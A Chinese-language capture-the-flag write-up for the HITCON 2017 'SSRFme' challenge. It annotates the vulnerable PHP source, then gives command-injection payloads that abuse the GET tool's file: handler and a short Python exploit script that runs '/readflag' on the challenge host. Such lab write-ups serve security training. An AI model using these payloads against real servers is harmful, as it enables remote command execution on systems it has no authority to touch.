[HITCON 2017]SSRFme 1
1.发现
1.1题目提示ssrf,打开地址发现代码.
2.步骤
1.1直接开始代码审计.
<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { #_SERVER:服务器和执行环境信息 $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); #explode:把字符串打散为数组 . $_SERVER['REMOTE_ADDR'] = $http_x_headers[0]; REMOTE_ADDR:代表客户端IP } echo $_SERVER["REMOTE_ADDR"]; $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); @mkdir($sandbox); mkdir:新建目录 @chdir($sandbox); chdir:改变当前的目录 $data = shell_exec("GET " . escapeshellarg($_GET["url"])); shell_exec:通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回 escapeshellarg:把字符串转码为可以在 shell 命令里使用的参数 $_GET:通过 URL 参数(又叫 query string)传递给当前脚本的变量的数组 $info = pathinfo($_GET["filename"]); pathinfo() :函数以数组的形式返回关于文件路径的信息。 [filename]: 不包含后缀的文件名 $dir = str_replace(".", "", basename($info["dirname"])); str_replace() 函数替换字符串中的一些字符(区分大小写)。basename()函数返回路径中的文件名部分 @mkdir($dir); @chdir($dir); @file_put_contents(basename($info["basename"]), $data); file_put_contents 将一个字符串写入文件 highlight_file(__FILE__); ?>
首先创建一个沙盒文件夹,路径为sandbox/加上MD5加密过后的orange加页面输出的ip,
即orangex.x.x.x
然后再命令执行get参数url
file 协议利用 open 命令执行,要执行的命令先前必须要有以命令为文件名的文件存在
1.2所以需要执行两次payload ?url=file:ls /|&filename=ls /|
管道符好像必须要加,不加的话文件不会创建
进到创建的文件夹里
sandbox/230317844a87b41e353b096d0d6a5145/ls /|
1.3然后readflag,如果直接/readflag的话,那么会在服务器的根目录创建这个文件,而不是在网站的那个目录,所以是无法命令执行的,所以可以用bash -c 相当于./readflag,而根据php字符解析特性,如果直接将./readflag传入,那么.就会变成下划线,从而不能命令执行。直接bash的话好像是只能bash 有sh后缀的文件,所以不能用
综上所述,bash -c 是最好的选择
同样运行两遍,exp如下
import requests target = "http://44750eec-6686-4451-af23-9a262b44ddf8.node4.buuoj.cn:81/" requests.get(target+"/?url=127.0.0.1&filename=|bash -c /readflag") requests.get(target+"/?url=file:|bash -c /readflag&filename=1") print(requests.get(target+"/sandbox/230317844a87b41e353b096d0d6a5145/1").text)
1.4得到flag
3.借鉴
https://blog.csdn.net/SopRomeo/article/details/106013885